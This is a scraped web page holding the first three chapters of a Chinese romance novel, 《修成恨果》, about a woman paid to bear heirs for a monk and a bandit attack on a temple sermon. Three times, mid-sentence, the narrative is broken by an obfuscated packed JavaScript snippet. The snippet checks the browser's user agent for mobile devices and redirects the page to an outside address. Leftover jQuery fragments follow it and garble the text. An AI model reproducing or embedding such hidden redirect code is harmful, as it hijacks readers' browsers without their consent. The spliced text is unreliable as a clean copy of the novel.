《修成恨果》 1. 第 1 章 江南的雨丝千年万年落在三月天里,沈幼漓发觉自己快要让它们捆死、捆得透不过气来。 是以婆母周氏让她同去禅月寺听讲经会时,沈幼漓佯装头疼,让她们先行。 她最讨厌讲经参禅这种不着边际的玩意儿,坐那里只是苦熬,能拖一时是一时,能不去最好。 但她儿子显然不想让她逃脱。 洛成聿从书卷中抬头,眼里尽是不属于四岁的沉静:“阿娘,你今天不是要去看阿爹吗?婆婆都已经出发好久了。” 六岁的女儿洛观棋本在掐花,闻言伸手掐在弟弟的脸,喝声清脆:“阿爹都不要我们了,去看他做什么!” 在姐姐手上,洛成聿的成熟立刻破功,嘶嘶抽气,可怜地说:“可是我上回托下人给阿爹送了一道题,阿爹还没回复呢。” “你还敢送信!不争气的东西!”洛观棋下起死手,把弟弟掐得哇哇大叫,“你还敢踹我!不服气是吧!” “是你先欺负我的!娘!阿娘!姐姐打我!” 雨声混着两个孩子的叫喊声,沈幼漓这头真开始疼了。 “釉儿、丕儿——”她拉长了声音。 洛成聿捂着遭掐红的腮,眼泪汪汪:“阿娘……” 沈幼漓翻一个身:“乖,出去打,别吵到阿娘睡觉。” 见“主判”罢堂,洛成聿逃开姐姐的魔爪,爬上罗汉床,把沈幼漓当面团搓:“阿娘,你就答应我吧!” 洛观棋不甘示弱,也扑上来:“我要打石子,阿娘跟我打石子!” “阿娘——” “阿娘,不要去,陪我玩!” 沈幼漓抱住嗡嗡响的头:“好,好,好,咱们去打彩石子,丕儿,你来不来?” 丕儿拉着阿娘的手擦掉眼泪,“来,阿娘,可是,我书还没读完呢……” “你想玩还是想读书?” “我想阿娘陪我读书……” 陪读……沈幼漓柔情稍减。 “想想想,我还要想你脸长腚上呢,书呆子,你自己读去,阿娘咱们走!” 没良心的阿娘欣然同往,顺道提醒:“釉儿,说话不可如此粗俗!” — 等陪釉儿玩够了,沈幼漓打发两个孩子去睡午觉。 将他们牵一块的小手都塞被子里,沈幼漓早习惯了姐弟俩前头斗得乌眼鸡一样,扭脸又好得手拉手。 看看天光,她关好进风的窗户,托侍女雯情照看两个孩子。 身上挂的钥匙随走动碰出响声,沈幼漓握在掌心,就三把,其中一把才半截手指长,哪儿都开不了,不过它是纯金的,花纹也怪精致好看,沈幼漓偶然从首饰盒看见,挑出来当挂饰,挂在钥匙里。 摸完钥匙,她心安不少,重新挂回腰上,独自出府去。 沈幼漓本想乘洛家马车出城,临了转念一想,往东油街赁了马车。 洛家人出门是脚不踏地的,沈幼漓原没那娇惯劲儿,七年下来却逐渐习惯受用,坐稳后让车夫赶马,车轮滚过石板尽头,转到多泥浆坑洼的榆钱街。 杨柳榆槐点缀着不算规整的院墙,青苔被雨水洗得苔痕苍绿,人人都得当心脚下,马车行过半里,瞧见三里桥脚店酒旗后扯紧马缰就能转到主街,不消半个时辰就能出瑜南城。 瑜南城外,道路两旁草木借雨水催发枝条,嚣张霸占了半条官道,雨水还泡烂了路,这种天气出门只能趟满脚的黄浆,没有人能幸免。 要下马车时,沈妙漓自幂蓠中看到那些黄泥水坑,暗道不好。 马夫赶着回城再挣一单,催促她赶快下马。 沈幼漓叹了口气,缀珠的鞋子踩在泥里,循着山路往上走。 可绣鞋的软底和这湿滑泥路不对付,没几步就一个趔趄,她的脸差点拍在泥坑里,险险站稳,头上幂篱却掉了下来。 墨发垂泄如雨丝,却比雨幕多几分摆动摇曳。沈幼漓有点气急败坏地将发丝拨开,见幂篱浸在水里,是不能往头上戴了。 她捡起来,索性把绣鞋脱去提在手里,提起裙子,这才继续往前走。 山雨渐急,沈幼漓步子加快,靠近禅月寺的山道,路上行人不止她一个人,没带伞的都在跑。 抱书紧走的学子余光瞥见身旁的人跑过,本是随意看去,这一眼落在眼前经过的人身上,抬起的手臂忘记挡雨,目光似被线牵住,定定不动。 “怎么突然停下了?” 同窗问着,朝他视线所及处看去,俄而也失了言语,和友人一同目送那美人消失在山道拐弯处。 那瘦长却莹白的腿小鹿一样跑过,流动着绸缎一般的乌发,都在脑中久久未消散。 及得回神,一股怅然若失之感涌上心头。 在世间有此惊鸿一瞥本是幸事,可又清楚这只是人海中擦肩而过的缘分,往后大概不会再有半点交集,如湖中雨痕散去。 这般作想,不免令人叹惋。 “刘兄你说,刚刚那娘子……是不是山鬼所化?我听闻城中洛家娘子是世间绝色,虽未见过,但一定是比不过这一位。” 同窗苦笑:“既含睇兮又宜笑,子慕予兮善窈窕[1]。山野之中怎会有这样的女子,大抵真是什么山精野怪所化吧,走吧,雨就要下大了。” — 上山后树变多了起来,将雨筛疏,沈幼漓放缓脚步。 眼前的黄泥路换成了石阶,软鞋亦能行路,可瞧一眼脚下邋遢,总不能满脚沾着黄泥穿鞋吧。 她循着记忆行至半山腰处,果然看到一眼清泉,正逢雨季,水声湍急,再往前就是攀山的石阶。 沈幼漓提裙坐在清池边,将绣鞋放在一边,将沾满黄泥的脚浸在水里,一面将幂篱洗干净。 虽是三春,可山泉水冷得得很,很快冻红了沈幼漓的脚踝和指节。 正乘轿子上山的瑞昭县主就看到了这么一幕。 县主本是欣赏山中细雨迷蒙的美景,车窗在转弯之后框在了一个野池边,一个年轻娘子在池边濯足,泉声动人,周身杳霭流玉,莫说是那乌云叠鬓、海棠醉日的模样是世间难寻,就连发尾都比别个要楚楚动人。 精致的指甲磨在窗沿上,她专注打量着池边人。 “县主,该换轿子了。”同乘的侍女的提醒让县主回神。 “嗯……” 收回视线,端昭县主扶着侍女的手,踩着人凳下马车去,早早撑开的花鸟软绢伞立刻为她遮去雨滴,人的很快就移到轿子上,风雨来不及打湿她的衣裙分毫。 沈幼漓也注意到经过的车马和衣着华贵的女子,一眼看出此人身份不凡。 莫说这宝马香车的规制在瑜南城罕见,就是下马车的女子那装束,也绝不是寻常官宦女子能穿戴的,想起近日瑜南城有权贵驾临,她立刻猜出了这年轻娘子的身份。 本以为只是一面之缘,不过陌路,沈幼漓并未上心,照旧埋头洗刷,那轿中贵人却突然掀起帘子,直直与她对视。 沈幼漓洗鞋的动作放慢,瞧了过去。 “你也是来听讲经的?”瑞昭县主先朝她开口。 沈幼漓将绣鞋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471589|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿好,摇头道:“不是,只是跟随家人进香,不慎摔了一跤,在此收拾一下形容。” 瑞昭县主不说话,打量的视线在她周身游走。 这个时辰一个年轻娘子孤身出现在山寺之中,还平白在池边濯足,在佛门净地做出这般姣娆妖异的样子,实在让人怀疑居心。 沈幼漓被盯得极不舒服,正要借故离开时,县主才说道:“佛门净地,岂容你举止如此不端。” 面对这突然发难,沈幼漓先是莫名,后感恼火,山中猎户常在此洗血拔毛,处置猎物,她怎么不能洗脚? 这人有毛病吧! 放在平日,就是周氏在她都要顶回去,可眼前这人……这身份不好开罪。 沈幼漓压住怒火:“我举止有何不端?” “私密之处怎能轻易示与外人,你在这人来人往的道旁洗脚,难道这行路的人全是你的夫君不成?” 真是刺耳难听!三两句话就污蔑一个女子清白,这县主比长舌妇还厉害,舌头底下压死人呢。 沈幼漓更确信此人无故找碴。 她阴沉下脸 ,自问不是软柿子,可眼下敌众我寡,针锋相对实在讨不到半分好处。 那些以众暴寡、曝尸荒野的猜测一晃而过,沈幼漓深吸一口气,自认俊杰,起身抚平裙摆,双手按在身侧行礼道:“多谢娘子提点,是我鲁莽了。” 瑞昭郡主俯视着她,良久,轻轻丢下一句:“乡野粗鄙之人,大抵如此。” 说罢帘子落下,轿子继续朝山上去。 “面酸口苦肝火旺,该灌一副龙胆泻肝汤,再灌上生半夏——毒成个哑巴!” 沈幼漓嘟嘟囔囔,对着空气挥去一拳,又被自己的前倨后恭的嘴脸气笑。 可别让她再见着这人,她是没有忍第二次的气量。 将遮面的幂篱重新戴上,沈幼漓踏上山道。 再行一刻钟,已能看到禅月寺远远隐没在层林之中的飞檐翘角,还有翠烟幽幽升起,宛如一幅静谧写意的山水画。 今朝崇佛,瑜南更是富庶,相传自前朝承袭的寺庙就有三百多座,凡有人烟处,皆有佛教信众,禅月寺更是瑜南闻名的大寺,每至初一十五,香客都会堵得水泄不通。 到山门时,雨势已停。 讲经会快至尾声。 沈幼漓仰头瞧着石梁,灰白的纹理经年岁洗刷,被苔绿替代,成了这深山古刹的一部分,远处禅月寺的飞檐斗角在层翠中时隐时现。 自生了釉儿和丕儿,她就鲜少再上来。 她嫁入洛家,恰好七年了。 起初,沈幼漓流落瑜南,山穷水尽,为几百两救命钱,她走投无路,向途经的巨贾洛家跪求援手,大夫人周氏舍了银子,却要她嫁她儿子。 “你模样不错,我家少不了你吃穿,嫁给我儿子可好?” 当时的沈幼漓比乞丐好不了多少,她将脏脸一擦,也敢开口:“要我嫁人,不是这个价钱。” “那是多少?” “一万两白银。” 她是真的需要这笔钱。 没想到周氏答应得爽快:“只要你嫁给我儿之后,能给洛家延续下香火,我就给一万两白银,永昌平钱号三百家分号通兑。” “成交。” 沈幼漓不在乎嫁谁,谁能给她一万两,就是嫁块牌位她都嫁,生孩子这件事,她自认也会。 周氏也是死马当活马医的,成了,一万两白银就没白花,若不成,也不会有什么损失。 双方就这么立下了字据。 2. 第 2 章 洛家并非单纯的商贾,而是两代之前从雍都迁居瑜南的世族,主支老爷如今在州中任录事参军,威望甚高,沈幼漓所嫁的则是二房,乃瑜南城中的巨贾。 他们靠一支支商队,将无数珠宝、香料、马匹带入中原,积下万贯家财,之后修桥铺路,兴建学塾,造福乡里,在城中极有声望。 周氏将洛明瑢养了三个月,把一个骨瘦如柴的人养得容光焕发,才满意地吩咐人置备成亲礼。 成亲前,沈幼漓没见过她未来官人一面,只知道他叫洛明瑢,是周氏唯一的儿子,上头还有个已嫁出去的姐姐。 成亲当日的诡异沈幼漓到现在还记得。 说是喜事,阖府已挂起了红绸,可来的亲戚寥寥无几,只有喜乐空响,人声寂寥。 仪式却不见敷衍半分,沈幼漓四更就被催促起身洗漱梳妆,华丽的喜服挂在高高的架子上,还拖出去一丈有长,裙上用金线绣着展翅欲飞的凤凰,晃得她清醒不少。 为她描画额花时,梳头娘子忍不住感叹道:“若是生得娘子这般模样,郎君也不喜欢,那……” 旁边的婆子不悦:“说这话做什么,赶紧收拾!” 沈幼漓听在耳中,无甚反应。 周氏看中了她的容貌,那洛明瑢应是贪花好色之徒。 不过这些事她不放在心上,只摩挲着满身珠宝,问道:“成亲之后,这些东西就都是我的吗?” 婆子鄙夷的眼神映在镜中,传到沈幼漓耳边的话却恭敬:“是。” 那她就什么都不在乎了。 吉时到,沈幼漓以绣扇遮面,繁琐的衣饰让她迈出屋门都需要人搀扶着。 一路走过洛府的亭台楼阁,路上不见多热闹,只有满目赤红随风飘荡。 喜堂布置得金碧辉煌,遍布红绸锦色,朱漆描金的立柱撑起一屋堂皇,沈幼漓举着绣扇走到堂上的,视线不自觉被堂上一个清瘦的身影吸引住视线。 真是生得完美无瑕的一颗头颅。 不过喜堂上为何会出现一个布衣和尚? 她已经到了,那周氏儿子又在哪里? 沈幼漓站定之后,正好与僧人平齐,视线借着绣扇阻挡看向身侧。 僧人并不看她,僧衣平履站在大红软毯上,素面长躯,与满目喜色格格不入,那张脸似雪色宣纸,描画着过于醒目的眉眼,本是十分的张扬颜色,偏偏眼底深邃而宁静,如坐莲台,气质清寒无俦。 弹指太息,浮云几何,得见此人,竟有岁月倏忽之感。 沈幼漓忽然觉得凤冠坠下的流苏珠子有点冰凉,轻晃在她眉心,引得长睫轻颤。 僧人未问一句,更未看任何人,那双雨过天青色的眼睛看清一切,未见半分动乱。 堂上不见洛家大老爷,只有周氏在座,她殷殷劝告:“明瑢,既然回来了,就安心成亲在家待着吧,往后这洛家产业都要你打理,难道你真要放着万贯家财不管?” 其时有洛家压着,瑜南并无寺庙敢收他,洛明瑢只算佛门俗家弟子,可他却坚要剃度,以证向佛之心,平日参禅礼佛,吃穿用度皆与和尚无异。 闻言沈幼漓再次看向身侧之人,原来这就是洛明瑢。 可周氏从未说过她要嫁给一个和尚,新郎官这打扮也不像是来成亲的。 面对周氏的欺骗和劝说,洛明瑢不嗔不怒,道:“贫僧是方外之人,尘缘已绝,恕贫道先行告退。” 说罢转身将这出闹剧抛到身后。 下人拦了上去:“郎君,今日是您大喜之日,您要往哪儿去啊。” 僧人并未强闯,恰似一尊吴衣带水的菩萨塑像立在原地,却没有一点回头的意思。 搀扶沈幼漓的喜婆扯了扯她的袖子,“娘子,你快去求一求郎君吧,他是菩萨心肠,一定会答应你的。” 喜婆觉得眼前的新娘子美得跟仙女下凡似的,她若示弱恳求,那再铁石心肠的男人肯定也会回心转意。 面对催促,沈幼漓无动于衷。 这场面闹成这样,拜堂仪式自是无法进行,堂上观礼的人不多,面色各异,有人私语,有人请周氏示下,还有人用怜悯的目光看向新娘子。 穿着喜袍的她是从未有过的艳色,若是换作别的男子,早欢天喜地成亲了,偏偏嫁的是六根清净的“玉面菩萨”,注定不得怜爱,真是可惜。 “我听闻旧俗里说,若新郎官的不便成亲,也可抱一只公鸡替代的。” 一句话,让所有目光都汇聚到沈幼漓身上。 新娘子面色淡然,既没有被“嫌弃”的伤心不甘,也没有将失富贵的急切,好像只是单纯提一个行得通的法子而已。 只有僧人并未回头,与她背对着,似隔绝在纷乱世事之外。 沈幼漓只等着周氏开口。 私语嘈杂烦人,周氏低头犹豫了一会儿,点头道:“去,抱只鸡来的。” 得了吩咐,喜乐重奏,红烛将高堂照耀得喜庆明亮,那些本拦着洛明瑢的下人退去。 洛明瑢却未离去,反而如观礼的来客一般,目视沈幼漓和一只公鸡拜了天地,和一个“洛明瑢”这个俗名成了夫妻。 傧相高呼“礼成”,沈幼漓在搀扶之下起身,流苏摇晃,已为人妇。 与那青衣僧人错身而过,她目不斜视,和待堂上其他来客一样,不认识,不好奇,在迈出门那一刻,爆竹噼里啪啦炸起喧闹,不让喜事有一刻寂寥。 “阿弥陀佛……” 僧人无悲无喜,合掌默念一声佛号。 再摊开手,俗世里炸开的爆竹纸屑鲜红,不知何时停在掌心。 — 当晚,洛明瑢更未出现在新房中,沈幼漓倒舒了一口气,不用圆房也好,她梳洗之后安然睡下。 第二日沈幼漓到周氏处敬茶才知道,原来洛明瑢是一早从寺庙里骗回来的,昨夜虽未走,但在前院偏房和木鱼待了一夜,天未亮就已出城离去。 沈幼漓只是过耳罢了,这跟她没大关系。 一切成亲仪式均已行过,她就是板上钉钉的洛家儿媳,将到手的衣裳首饰清点过,最值钱的都锁在箱子里,钥匙自己时时带着,沈幼漓心满意足地躺在床上。 周氏还说会每月给她月例呢,真是捡到一门好生意! 她不急着将一万两拿在手中,既然洛明瑢跑了,就怪不得她在洛家白吃白喝了。 谁料洛家财大气粗,也不做赔本买卖,周氏干脆在洛明瑢出家的古刹半山腰建起一座别院,把沈幼漓打发到别院去住,以便亲近洛明瑢。 她只嘱咐:没有怀孕不要下山。 沈幼漓这才明白,这一万两不是这么容易挣的。 头一遭,她扮作香客进了古寺,洛明瑢趺坐蒲团之上,念珠在指间拨动,似一条皈依正途的碧蛟。 这一次相见,双方都认出彼此。 沈幼漓将签筒跌落,两个人的手便碰到,视线也撞在一起。 这一次,她并不冷漠,而是饶有兴致。 沈幼漓也期盼从洛明瑢的眼神里看到点什么,惊讶可以,厌恶也可以,只要心念在动,总能让她找到缝隙来。 她满腹算计,期盼找出洛明瑢的弱点,知道他的所思、所欲、所恨,才好对他下手。 她太用心,凑得很近,只看得到那双冷青色的瞳仁上浓下淡,像深秋日出之前的寒天,空得连飞鸟都不经过。 沈幼漓后知后觉,她撞上了一块啃不下的硬骨头。 可为了洛家的香火,她的一万两,沈幼漓只能硬着头皮上。 记忆逢此就变得混乱,比被追杀还让沈幼漓慌不择路。 她只记得,自己无所不用其极地接近洛明瑢,百般纠缠,纵有为达目的不择手段的魄力,沈幼漓也确实厌恶自己的做派。 越明白洛明瑢是怎样向佛的一个人,沈幼漓越清楚自己手段下作。 那些不算体面的记忆都与佛堂寺庙有关。 与洛明瑢的头一遭,他不甚清醒,将她按在蒲团之上。 僧衣盖住了石榴裙,肩背让烛火照出一片暖,沈幼漓掐住蒲团边缘的手用力到泛白,不让自己去阻止身后之人,一阵让她毛骨悚然的试探,而后—— 是难以想象的锐利辛辣,厉痛逼她仰起脖颈,逼出眼泪,像一株青竹被积雪压得弯到低无可低,而后崩断出无数竹丝扎进血肉里。 这一点也不好受。 原来斩岸堙溪,拓道开疆是这样一种滋味,痛得沈幼漓竟有一丝后悔,何必走到这一步。 长明灯在眼前忽远忽近,沈幼漓始终睁着蓄泪的眼睛,死死望着。 久而久之,她愈发恶心香烛纸钱的味道。 一逢有孕,沈幼漓立刻跑下山去,生下了女儿釉儿。 洛家对这个结果不满意,本以为解脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471590|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的她又回山中别院,日日再去叩感云寺山门,千方百计又怀上第二次,这回总算圆了洛家期盼。 说来……她的任务已经完成,早该离开洛家。 可几番孤月,屡变星霜,七年里太长,人心、牵绊都变得复杂,在四年前她就该离开,偏偏觉得自己还有时间,想着好歹陪釉儿丕儿长大…… “施主。” 守在山门的知客僧喊了一声。 万千霏思拢回匣中,沈幼漓回神,问道:“讲经会如何了?” 几年未上山,知客僧也早换了人。 僧人合掌道:“女施主来晚了,讲经会怕是快结束了。” 她满意地点点头。 穿过四天王殿,从左侧回廊绕过大雄宝殿,左起第一间偏殿就是讲经堂,沈幼漓闭着眼睛都不会走错。 在门口却被拦住。 年轻和尚面容青涩:“住持正在里头讲经,为防惊扰其他香客,还请施主随贫僧悄悄进去。” “好。” 沈幼漓随和尚在旁边经幡之后穿梭,并未引起任何注意。 和尚一路伸头看去,为难道:“施主来得太迟,” “不必了,我就坐那吧。”她指了指周氏身侧的位置,那空位显然是留给她的。 “那可不成,那是洛家的位置。” “都这个时辰了还空着,当是不会来人,你们出家之人不是讲究众生平等,怎么一个座儿还分高低贵贱?” “施主说笑了,不说寺里香火银子就是一大进项,就是官家都有僧录司衙门,哪里就能真不论出身,朱衣白衣杂坐,那会惹贵人生气的。” 沈幼漓抱臂点头,“小师父说得甚是,信女拜服。” 和尚讪讪,也不想管她:“有因必有果,施主是自己来迟,可见其心不诚,不如就站在这儿听吧。” 说完就走了。 看来禅月寺也不是人人都修行到家了……沈幼漓施施然走出经幡,坐在了周氏身边。 她才刚坐下,质问就来了:“你怎么现在才来?” 大姑子洛明香精心描画的眼睛总斜着看人,见沈幼漓姗姗来迟,比自己少受许多折磨,颇感不悦。 沈幼漓敷衍道:“头疼,耽搁了。” 而沈幼漓的婆婆,大夫人周氏只是看了她一眼,重新闭目礼佛。 这在沈幼漓的意料之中,她这婆婆历来是个事不关己高高挂起的人物,知道她装病不肯来也懒得管,就算不来也不关她的事。 总归生下丕儿之后,沈幼漓只要不闹事,爱怎么样怎么样,不值得她费半点心思。 沈幼漓满不在乎,周氏也轻轻放下,洛明香翻了个白眼,暗自将账记下。 “看到没,这遭郑王女儿也来了,就坐在最前边。”洛明香不知怎的,起了谈兴。 沈幼漓看过去,目光扫过时有微微停顿。 讲经台上正中间蒲团上坐着的是禅月寺的住持智圆禅师,其余弟子侍坐在一旁,县主在瑜南城这个地方地位超然,座次摆在最前边,旁边陪着郡守夫人。 而与她相隔而坐僧人褒衣博带,宝相庄严,低垂的眉间不染半分尘俗之气。 沈幼漓轻嗤一声,移开视线。 洛明香开始喋喋不休:“这位县主是郑王的女儿,郑王本是节度使……不,原还不是节度使,只是河东手下牙军,若不是原节度使急病去世,又恰逢十七年前先帝被叛军围困凉州,郑王怎么有机会越过节度使亲子,临危受命救先帝圣驾,就这,勤王主力也不是他,而是拼死的朔方军, 朔方军和叛军几乎同归于尽,河东军才赶到收拾残局,还厚颜迫先帝下旨封王,哼,捡漏捡得跟蝗虫投胎一般,不过封王是先帝之言,雍都的圣人根本不屑他那所谓的军功,封王就是打发郑王,这县主封得也是勉强, 真是时运到了,挡也挡不住,这县主也是,派头真是越摆越大,都忘记自己是武夫女儿的时候了吧。” 她不喜欢沈幼漓,但谈兴一起,哪还管旁边坐的是什么人,非把心里那点不平发泄出来。 沈幼漓懒得接她的话,直腹诽这智圆禅师年纪真是大了,嘴巴也松,早该结束的讲经会被他拖拉得无比冗长。 她一个哈欠还没打出来,一物流星一般被抛进殿中,滚到讲经台上。 智圆禅师离得最近,待看清是什么,面色乍变,看向殿门处。 3. 第 3 章 “是头颅!是一颗头颅!” 如同一滴水滴入热油之中,人群一下沸腾起来,佛殿之中出现这种血腥之物,比寻常时候更加骇人。 能坐在最前边听经的多是官宦夫人,这个距离让她们也看清了那飞来之物,有人尖叫,也有人吓晕了过去。 “阿弥陀佛。” 圆智禅师座下弟子异口同声,一句便是一次接引,渡冤魂往生,更助自己修行,勘破眼前生死,镇静以对。 平头百姓修行不到家,那曾见此血腥,只顾四处逃窜,尚年轻的僧人们也左右互看,盼有个人出来带头,大家一起逃跑,什么修行,哪有性命重要。 沈幼漓本昏昏欲睡,被一嗓子嚎醒,睁开眼就是一片黑漆漆的脑袋在攒动,很快变成排排大腚,遮死视线,条条人形抖动衣袖,推搡着朝殿门逃去,桌椅四倒。 周氏和洛明香也惨白着脸,死死拉住彼此的手,前看后看,不知道往哪儿逃命是好。 一片惊乱之中,有一僧人站了起来。 这僧人一张玉面本就惊心动魄,气质竟更胜三分,恍惚是空谷寒月,飘摇兮清风入怀,让人生不出邪念,唯心驰神往之。 众僧已是泥菩萨过河,唯见他步到台前,将那颗无辜枉死之人的头捧起,以袖拭去血污,阖上逝者双目,端端正正放在香案上。 “南无阿弥多婆夜……” 僧人合掌颂起往生咒,那遥不可及的距离感褪去,面目悲悯而慈和,在纷乱的大殿中静默成一株菩提。 瑞昭县主的眼睛本就黏在他身上,如今正是挪不开。 可与头颅飞进殿中的,还有一伙执刀的黑衣凶徒,他们现身将殿门守住,人流被阻滞在殿门,一个人也跑不出去。 “今日谁都跑不了!” 雄浑低沉的声音自殿门穿过人群,掷头的人已经现身。 来者五官刚硬方正,眼下皮肉却耷拉着,眼珠浑浊没有一点亮光,足有九尺的身材站在最前边,一看就是杀人如麻之辈。 这人显然是凶徒首领,手中几十斤的大刀染血,挥动时浑浑风声和铜环齐响,听得人毛骨悚然,能想象到斩断人头时有多干净利落。 他环视讲经堂:“县主何在?” 这句如阎王点名,瑞昭县主瞬间抖出一身冷汗,强自镇定下来,示意侍女挡子,想趁乱在护卫的掩护下悄悄退走。 可她衣着本就引人注目,又怎能让侍女当场假扮自己,头领旁边的军师目如鹰隼,伸手一指:“就在上边!” 见躲不开,瑞昭郡主忙唤:“护卫!护卫!” 除了守殿门的人,其余凶徒朝讲经台而去,护卫拔剑抵挡,两方刀剑撞在一起,混战在讲经台周围,刀光剑影晃花人眼。 香客们有的躲在经幡后面,有的瑟缩在椅子下,疯狂求佛祖保佑,万万不要把命丢在这里。 “拿了她,别让郑王女儿跑了,取她头颅!祭奠漠林死去的上千弟兄!” 有凶徒在高喊。 听到这句,沈幼漓皱起眉头。 在周氏和洛明香都躲在椅子下后,只有她还坐着。 “你不要命了?”周氏扯她袖子。 周氏也算好心,没放任沈幼漓死掉,好拿回那十万两。 沈幼漓回神:“哦,我吓忘了,多谢大夫人提醒。” 说完从善如流,趴到椅子下面去,安分瑟缩起来。 洛明香哼了一声:“阿娘拉她做什么,死了算她自己的。” 讲经台上,县主周围的护卫渐少,凶徒们已将讲经台死死围困,瑞昭郡主无路可逃,束手就擒或身首分离只是早晚之事。 护卫与凶徒人手相持,奈何凶徒头领实在凶悍,视护卫阻碍如无物,大刀将面前横来的剑全部劈开,大步朝县主走去。 看着一步步逼近的阎罗王,瑞昭县主腿肚子抽筋,差点要跪地求饶。 “怎么办,怎么办……” 无计可施之时,县主在一片混乱之中看见那连衣角也沉静的身影。 在最后挡在面前的护卫被砍倒之前,县主连滚带爬,躲到了念往生咒的僧人身后。 “妙觉禅师救我!”县主死死揪住他,借他袈裟为自己撑起一片安全的天地。 凶徒头领只是不紧不慢掉转了刀口,笑道:“县主,你躲到哪里都没用的。” 手握大刀的人带着浓烈血腥气靠近,县主死死躲在袈裟之后,正在念往生咒的僧人连眼睛都没有睁开。 “禅师,禅师!” 大刀劈下,县主拼命扯着还在闭目念经的僧人。 “啊——” 尖叫声中,凶徒首领大刀劈下—— 又在僧人漂亮完美的头颅前生生顿住。 他本以为这年轻僧人只是惺惺作态,待屠刀落下时,他一定会屁滚尿流,屎尿稀拉一地,痛哭流涕求他饶命,那场面才叫好看。 可刀风已经足够刮痛耳朵,僧人却不动如山,连鸦黑的长睫都未有分毫震动。 首领歪着脑袋,虎目打量着刀下人。 这颗脑袋要是被大刀劈瘪,就是暴殄天物了。 县主尖叫一声后死死闭上眼睛,她本以为妙觉禅师死定了,之后就是自己,可等候许久,血并未迸溅到身上。 颤抖着睁开眼睛,身前的人仍旧屹立。 没死——县主登时四肢瘫软,魂飞天外。 直到往生咒诵毕,僧人才睁开眼睛。 似名剑晃出的一抹寒光,望之心陷。 “你就是妙觉禅师?”头领竟也知道僧人名讳。 “贫僧法号正是妙觉。”僧人说话声清越悠扬,如佛音雅乐。 才说完,染血的大刀贴上他面颊,头领还拍了拍:“跑都不跑,不怕老子把你剁成肉泥吗?” 血蹭上僧人的脸,那面容因血显得更妖娆诡魅,可惜那双眼睛太过清正,似能破除一些邪障,不受侵染,和身后溅上鲜血的金身佛像成了对照,让他仿若菩萨化身。 “贫僧唯愿施主回头是岸。”僧人面色平和。 “回头?”头领觉得好笑。“行啊,你先让开,待斩了她,我就放下屠刀,立地成佛。” 也不知是开玩笑还是说真话,瑞昭县主闻言更往背后缩,恨不得立时消失。 “何必与妇孺寻仇,贫僧有计,能直取郑王性命,还能助施主全身而退。” 军师不信:“口出狂言!” 县主也不可置信,禅师怎能助纣为虐! 僧人重复:“贫僧可以告诉你怎么杀郑王,只要施主放过这一殿的人。” 头领则呵呵一笑:“哦,你说来听听。” “让他们出去,贫僧一人为质,再往瑜南城去,郑王自会伏诛。” 头领一下看穿了:“和尚想用自己一条命换这么多人命,还真是会做买卖啊,可惜,老子不是傻子。” 二人交谈之际,打斗逐渐结束,最后一个护卫倒下。 凶徒悍勇人多,即使折损不少,也将瑞昭县主的护卫全数杀光,讲经堂已尽在他们掌控之中。 香客们被寒气森森的大刀逼得挤在一起,怕得缩成一团,除了更加钦佩直面大刀面不改色的妙觉禅师, 莫说他背后的瑞昭县主。 就算对妙觉的话不忿,此刻她也只能视他为救命稻草,死死躲在他背后,一句话也不敢说,只恐这最后一道屏障被削去。 沈幼漓瞧着他们紧紧依偎在一起,独自面对凶徒,指甲轻碾起指腹,到底将目光投向了别处去。 身旁的周氏急得想钻出来:“怎么办,他们会不会真的——” 洛明香死死拉住亲娘,捂住她的嘴,怕得牙齿打战:“阿娘,这时候可别做出头鸟,我们什么也帮不上,白白送死罢了……” 人人都知眼前是绝境。 那头还在僵持,僧人拉着县主避开了一道,仍旧道:“望施主勿造杀孽。” “你这臭和尚骨头还挺硬,怎么,一个和尚也想攀附上县主,享受荣华富贵?你偏偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471591|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不像有命享的样子吗?” “众生平等,在座所有人的性命都同县主一样贵重,还请施主现在就放下屠刀。” 妙觉禅师声音始终清渺,不见着急。 “县主刚刚几声禅师,喊得老子骨头都酥了,我可怜看你到死也是个雏,不如今天老子当个善人,让你跟这和尚在此洞房成亲?” 周遭凶徒笑成一片。 若不是大刀当前,和尚们差点要喊荒唐,这可是佛寺净地,怎可成亲! 县主则死死藏住自己,不肯露面。 沈幼漓越听越不对劲儿,寻仇讲究一个利落干净,更何况眼前漠林老将,行事更该果断,这么拖拖拉拉半天,到底在图谋什么? 在众人哄笑之际,妙觉的并未羞恼,而是将这伙人的来历娓娓道来: “漠林牙军曾是西川节度使手下据守漠林的牙军,十六年前雍都失陷,漠林牙军为护送先帝归京,力破曾貘叛军追击,可九年前,西川节度使病逝,漠林牙军拥立张雁林为继任西川节度使,雍都反而提了西川道官员春魏朴, 